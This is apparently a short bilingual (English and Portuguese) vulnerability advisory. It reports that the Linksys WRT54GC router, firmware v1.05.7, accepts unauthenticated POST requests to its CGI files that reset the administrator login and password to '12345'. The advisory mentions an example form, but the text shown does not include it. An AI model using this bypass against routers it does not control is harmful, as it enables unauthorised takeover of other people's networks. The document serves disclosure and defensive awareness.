        Linksys WRT54GC - Administration Password Change
The Router WRT54GC doesn't seem to check authentication from the administrator in it's .CGI files, accepting any POST request,
as a password change. Below, follows an example of a form that changes the password and administrator login to '12345'.
Tested on model Linksys WRT54GC - Firmware Version: v1.05.7 - Local and Remote administration

        Linksys WRT54GC - Mudança de Senha
O roteador WRT54GC parece não verificar a autenticação do administrador em seus arquivos .CGI, aceitando qualquer envio
de POST como o de mudança de senha. Abaixo, um exemplo de formulário que muda a senha e o login de administrador para 12345.
Testado no modelo Linksys WRT54GC - Firmware Version: v1.05.7 - Administração Local e remota.
